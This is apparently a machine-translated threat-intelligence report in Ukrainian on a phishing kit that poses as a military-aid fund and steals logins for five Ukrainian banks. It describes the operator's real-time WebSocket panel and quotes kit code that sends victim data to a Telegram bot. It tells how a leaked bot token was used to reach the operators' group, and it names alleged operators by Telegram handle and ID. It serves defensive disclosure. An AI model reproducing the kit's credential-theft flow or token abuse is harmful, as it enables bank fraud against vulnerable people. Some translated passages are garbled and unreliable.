Викрито фішингову мережу, пов’язану з військовою допомогою: У ціль потрапили 5 банків, оператори встановлені

Що виявив PhishDestroy

20 березня 2026 року автоматизований Pipeline виявлення загроз PhishDestroy зафіксував dopomogvoina[.]sbs — щойно зареєстрований домен, на якому розміщено фішинговий сайт, що видає себе за «Щит Захисника» («Щит захисника») — фейковий фонд, що нібито надає військову допомогу Україні. Сайт орієнтований на українських військових ветеранів, поранених у боях та родини загиблих солдатів, обіцяючи державну фінансову допомогу, при цьому викрадаючи банківські облікові дані п’яти найбільших банків України.

Далі наведено повний аналіз усіх фактів, виявлених у ході нашого автоматизованого аналізу: методи соціальної інженерії, технічна інфраструктура, система управління операторами в режимі реального часу, а також особи тих, хто керує цією системою.

Розділ 1: Приманка — «Фонд фальшивої військової допомоги»

Домен dopomogvoina[.]sbs було зареєстровано 20 березня 2026 року через NiceNIC International Group Co., Limited, реєстратор, який, як добре відомо, повільно реагує на повідомлення про зловживання або взагалі не реагує на них. Цей .sbs TLD (Side-By-Side) — це недорогий gTLD, який часто використовується для створення одноразової фішингової інфраструктури.

Сайт позиціонує себе як професійний портал допомоги, пов’язаний з урядом. У верхній частині сторінки розміщено український прапор, військові зображення додають автентичності, а текст сторінки ретельно написано українською мовою з використанням бюрократичних формулювань, що нагадують офіційні урядові програми.

Знімок екрана 5 — Головна сторінка фішингового сайту, що видає себе за «Щит Захисника».

Щоб створити враження надійності, оператори підробили лічильник статистичних даних, який було розміщено на видному місці на головній сторінці:

• 2 847 заявок — це означає, що тисячі людей уже отримали допомогу
• Розподілено ₴47,2 млн — значна, але правдоподібна цифра в гривнях
• 19 програм — що передбачає проведення комплексної операції з залученням кількох програм

Ці цифри повністю вигадані, вони жорстко вписані в вихідний код сторінки і не пов’язані з серверною частиною. Вони мають єдину мету: створити ефект соціального доказу, щоб подолати вагання жертви.

Розділ 2: Пастка — 5 банків, одна мета

Після натискання кнопки «Подати заявку» (Submit Application) перед жертвою з’являється екран вибору банку. У списку варіантів представлені п’ять найбільших роздрібних банків України, кожен із яких має власне офіційне оформлення та логотип. Саме на цьому етапі соціальна інженерія переходить від емоційної маніпуляції до технічного крадіжки.

Знімок екрана 6 — Екран вибору банку. Кожен варіант веде до індивідуальної послідовності дій, спрямованої на викрадення облікових даних.

Аналіз пакета JavaScript цього веб-сайту показав, що кожен банк має унікальна багатоетапна послідовність збору облікових даних, адаптований відповідно до фактичного алгоритму аутентифікації цього банку:

Схема атаки на кожен банк відбувається за однаковим алгоритмом:

Знімок екрана 7 — Клонована сторінка входу в PrivatBank.

Знімок екрана 9 — Клонована сторінка входу в систему PUMB.

Знімок екрана 10 — Повний хід атаки: від фальшивої сторінки про військову допомогу через вибір банку до викрадення облікових даних та захоплення контролю над рахунком.

Технологічний стек: React SPA інтерфейс, що надається через CDN від Cloudflare, з Express.js бекенд, що забезпечує витік облікових даних. Архітектура React дозволяє створювати інтуїтивно зрозумілі багатоетапні форми, які зовні не відрізняються від справжніх банківських інтерфейсів.

Розділ 3: Керування оператором у режимі реального часу

Це не просто програма для збору облікових даних зі статичною базою даних. Фішинговий набір включає інтерактивна панель управління WebSocket що дозволяє оператору керувати сеансом кожної жертви в режимі реального часу.

Кінцева точка WebSocket за адресою wss://dopomogvoina[.]sbs/ws підтримує такі типи повідомлень:

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

Завдяки такому управлінню в режимі реального часу оператор може:

• Примусово перевести в стан очікування — відображати повідомлення «Опрацьовується ваша заявка...» під час входу в реальний банківський рахунок жертви
• Перенаправлення на певний крок — повторно запросити SMS-код, якщо термін дії першого закінчився
• Показати фальшиві повідомлення про помилки — «Неправильний код, будь ласка, введіть його ще раз» — для збору декількох токенів двофакторної аутентифікації
• Задавати індивідуальні запитання — запит дати народження, номера картки або будь-яких додаткових даних під час сеансу

Знімок екрана 8 — Форма введення номера телефону, яка використовується для крадіжки облікових даних.

Знімок екрана 11 — Панель оператора для керування сеансами жертв у режимі реального часу.

Повний перелік даних, викрадених під час кожного сеансу: phone, password, PIN, SMS code, card number, date of birth, і email.

Розділ 4: Що стоїть за Cloudflare — два проєкти, один сервер

Проксі-сервер Cloudflare приховує вихідний сервер, але Pipeline аналізу інфраструктури PhishDestroy визначив справжню IP-адресу вихідного сервера: 45.131.214[.]148, розміщений на RapidSeedbox / LeaseWeb у Нідерландах.

Важлива деталь: dopomogvoina[.]sbs передається через Cloudflare, приховуючи свою IP-адресу походження. Але наша система також відстежує hlpforvpeople[.]sbs — пов’язаний домен, зареєстрований через того самого реєстратора NiceNIC із збіжними шаблонами. Цей домен — НЕ за Cloudflare, безпосередньо розкриваючи свою IP-адресу-джерело: 45.131.214[.]148.

Пряме підключення до цієї IP-адреси — без Host заголовок — виявив щось несподіване: а зовсім інший фішинговий сайт. Замість української військової допомоги, за замовчуванням використовувався віртуальний хост «HealthCare ID», фішингова операція, спрямована на користувачів системи медичного страхування в Індонезії. Той самий сервер, зовсім інші жертви, зовсім інша країна.

Знімок екрана 12 — Дві паралельні фішингові операції, що використовують один і той самий сервер походження: українська військова допомога (dopomogvoina) та індонезійське медичне страхування (HealthCare ID).

Індонезійський шаблон фішингового листа — це відомий набір, зафіксований у базі даних про загрози PhishDestroy. Ми спостерігали, як різні варіанти саме цього шаблону використовувалися в країнах Південно-Східної Азії — для атак на фінансові установи Індонезії, Таїланду та В’єтнаму. Зловмисники просто замінюють шаблони, адаптовані під конкретну країну, продовжуючи використовувати ту саму серверну інфраструктуру.

Розділ 5: Файл config.json, який все викрив

Ось як один-єдиний файл із неправильними налаштуваннями зірвав усю операцію — крок за кроком.

Після виявлення другого проєкту сервера-джерела, PhishDestroy’s JS-аналізатор — наш автоматизований інструмент аналізу JavaScript — був спрямований на набір коду індонезійського фішингового сайту за адресою https://45.131.214[.]148/assets/index-ZMQxHb_h.js. Аналізатор виокремив усі кінцеві точки API, зовнішні URL-адреси та шляхи до файлів конфігурації з файлу JavaScript розміром 335 КБ. Серед виявлених даних:

• П'ять кінцевих точок API за адресою rezervtemka[.]cc — панель C2 для перевірки облікових даних
• З'єднання WebSocket із wss://rezervtemka[.]cc
• Інтеграція Facebook Pixel для відстеження жертв
• Посилання на /config.json — завантажується під час виконання для налаштування бота Telegram

Слідуючи цій підказці, ми отримали /config.json з IP-адреси джерела. Доступ до файлу був можливий без будь-якої аутентифікації — він знаходився в кореневому каталозі веб-сайту, і його міг прочитати будь-хто:

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.telegram.org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

Цей /config.json доступ до файлу був можливий безпосередньо з IP-адреси джерела — без аутентифікації, без контролю доступу — просто звичайний файл JSON, що знаходиться в кореневому каталозі веб-сайту:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

Токен бота в Telegram є одночасно і іменем користувача, і паролем. Той, хто має цей токен, може здійснювати запити до API від імені цього бота. Оператори залишили свої токени у загальнодоступному файлі. Через шість викликів API ми отримали все:

Знімок екрана 13 — Повний ланцюжок OSINT: від оприлюдненого файлу config.json до повної ідентифікації оператора за допомогою 6 викликів API.

Від одного неправильно налаштованого файлу до повної ідентифікації оператора за допомогою шести HTTP-запитів. Жодних експлойтів, жодного несанкціонованого доступу — лише стандартні виклики API-інтерфейсу Telegram Bot із використанням токена, який самі оператори залишили відкритим.

Розділ 6: Оператори

Знімок екрана 14 — Група операторів Telegram «Idr card», викрита завдяки витоку токена бота.

Власник / Творець

МОНЕТТІ ЕСКОБАР

@monettiescobar

Ідентифікатор у Telegram: 8135223234

Telegram Premium, бізнес-профіль

Часовий пояс: UTC+3 (регіон СНД)

10 публічних повідомлень — суворе дотримання OPSEC

Чат TraFFeeQMedusa Google AdsКанал «Deepfakes»

Оператор / Управління рухом

Боня

@BoaCC159

ID у Telegram: 6242202706

Також відомий як: PapaZakonVor, Boa, bubullikk

261 повідомлення у 12 групах

DC2 — Амстердам, Нідерланди

CryptoGrabSTYX MarketRaven CCEMPIRE CHATРішення «Фенікс»

Розробник / Програміст

Девойс

@devosus

Ідентифікатор у Telegram: 8213612730

Розробник фішингового набору — оператори називають його «кодером»

У разі виявлення порушення просять «подумати про захист»

Мінімальний вплив на навколишнє середовище завдяки конструктивним рішенням

Ручка @devosus ≈ «dev ops us» — назва посади як ім’я користувача

Розробник наборуІнфраструктураБезпека

МОНЕТТІ ЕСКОБАР — «Бос»

MONETTI дотримується суворих вимог щодо операційної безпеки — лише 10 публічних повідомлень у двох групах. Але саме ці групи і розкривають суть справи: Чат TraFFeeQ (арбітраж трафіку з метою шахрайства), Medusa Google Ads (чорношапкові методи в Google Ads) та Канал «Deepfakes». У його бізнес-профілі в Telegram вказано «Є пропозиція» («У мене є пропозиція») — відкрито рекламують свої послуги. Часовий пояс UTC+3 (що відповідає часовим поясам Москви, Мінська та Києва) та режим роботи 24/7 свідчать про те, що компанія базується в країнах СНГ і працює цілодобово.

Боня — Недбалий

На відміну від ретельної оперативної безпеки (OPSEC), якої дотримувався MONETTI, Боня (колишнє псевдонім: PapaZakonVor — що приблизно перекладається як «Тато-злодій за законом») залишив за собою величезний цифровий слід — 261 повідомлення у 12 підпільних групах. Історія його чатів нагадує кримінальне резюме:

Його членство в різних організаціях дає повне уявлення про нього: CryptoGrab (злодії з криптогаманців), STYX Market (підпільний ринок викрадених даних), Програма перевірки Raven CC (інструменти перевірки кредитних карток), EMPIRE CHAT та Рішення «Фенікс» (координація шахрайських дій). Це не злочинець, який скоїв злочин лише один раз, — це людина, яка є невід’ємною частиною екосистеми кіберзлочинності.

Devoys — розробник

Технічна основа операції. За задумом — мінімальна видимість для громадськості. Коли групу зламали, Боня прямо звернувся до нього: «@devosus, подумай про захист, поки нам дупу не розірвали» — «@devosus, давай подумаємо про оборону, перш ніж нас рознесуть вщент». Його саркастична реакція на цей інцидент — "коли в Інтерпол" («коли застосовувати інтерполяцію») — свідчить про те, що це не перший випадок, коли їм ледь вдалося уникнути небезпеки.

Аналіз поведінки: розшифровано 261 повідомлення

Pipeline OSINT від PhishDestroy зібрав та переклав усі 261 публічних повідомлень від «Боні» у 12 підпільних групах Telegram (червень 2024 — березень 2026). Машинний переклад за допомогою API DeepL з ручною корекцією контексту. Ці повідомлення розкривають повний оперативний профіль — класифікований нижче за видами злочинної діяльності.

Банківське шахрайство та фішинг

«Грошові мули» та виведення коштів

Шахрайство у сфері веб-трафіку та зловживання рекламою

МОНЕТТІ ЕСКОБАР: «Мовчазний бос»

На відміну від 261 повідомлення Боньї, у MONETTI є лише 10 публічних повідомлень — все в одному потоці на Чат TraFFeeQ (Арбітраж чорного трафіку ADS/SEO), на захист колеги:

Решту можна дізнатися в Telegram-групах MONETTI: Medusa Google Ads (шахрайство з PPC методом «чорної шапки»), а Канал «Deepfakes» (синтетичні засоби для шахрайства), а також ЧАТ «MARLBORO» (приватний, невідомий). Підписка на Telegram Premium, цілодобовий режим роботи та «Є пропозиція» («У мене є пропозиція») Біографії бізнесменів створюють враження про людину, яка ставиться до кіберзлочинності як до повноцінного бізнесу.

Знімок екрана 2 — профіль MONETTI у Telegram.

Знімок екрана 3 — профіль Боні. Зверніть увагу на DC2 (Амстердам).

Розділ 7: «Кімната паніки»

Після того, як PhishDestroy отримав доступ до групи операторів через уразливого бота в Telegram, відбувся такий обмін повідомленнями. Наведений нижче лог чату перекладено англійською мовою, при цьому оригінальний російський текст збережено курсивом. Ідентифікаційні дані, використані для доступу, було приховано.

Група була видалена за лічені хвилини. Прощальне підтвердження Боні — «+» — та підтвердження Девойса «так» говорять самі за себе: вони розуміли, що їх викрили, і єдиним виходом для них було знищити докази. Але на той момент дані вже були зібрані.

Зверніть увагу на промовистий коментар Боні: «Нас також атакували через український бот» — що підтверджує: обидва проекти (український та індонезійський) мають одну й ту саму команду операторів, і це не перший випадок, коли їхня інфраструктура зазнала атаки.

Розділ 8: Що це свідчить

Хронологія розслідування

Пов’язані домени

Наш аналіз дозволив виявити другу сферу — hlpforvpeople[.]sbs — зареєстровані через одного й того самого реєстратора з однаковими схемами інфраструктури. Обидва домени зафіксовані в нашій базі даних:

• Звіт PhishDestroy: dopomogvoina[.]sbs
• Звіт PhishDestroy: hlpforvpeople[.]sbs

Основні висновки

• Автоматизація — це єдиний спосіб не відставати від часу. Фішингові набори розгортаються та перетворюються на зброю за лічені години. Ручний аналіз не може встигати за такими темпами.
• Оператори припускаються помилок. Файл конфігурації, що залишився відкритим у другорядному проєкті, дозволив викрити цілу міжнародну фішингову операцію. Досконалу оперативну безпеку (OPSEC) важко забезпечити в усіх проєктах.
• Соціальна інженерія розвивається разом із новинами. Теми війни, гуманітарної допомоги та урядових програм дедалі частіше використовуються як приманки для фішингу, оскільки вони націлені на людей, які перебувають у скрутному становищі й менш схильні сумніватися в їхній легітимності.
• Повторне використання інфраструктури є нормою. Один сервер, два фішингові проекти, дві країни, одні й ті самі оператори. Аналіз зв’язків між елементами інфраструктури дає набагато більше інформації, ніж аналіз окремого домену в ізоляції.

Застереження: Це розслідування було проведено виключно за допомогою пасивної розвідки та загальнодоступних API. Не було здійснено жодного несанкціонованого доступу до будь-якої системи. При зверненнях до API-інтерфейсу бота Telegram використовувався токен, який оператори оприлюднили у кінцевій точці, що не вимагає автентифікації. Усі доменні імена в цій статті були змінені відповідно до стандартних правил інформаційної безпеки.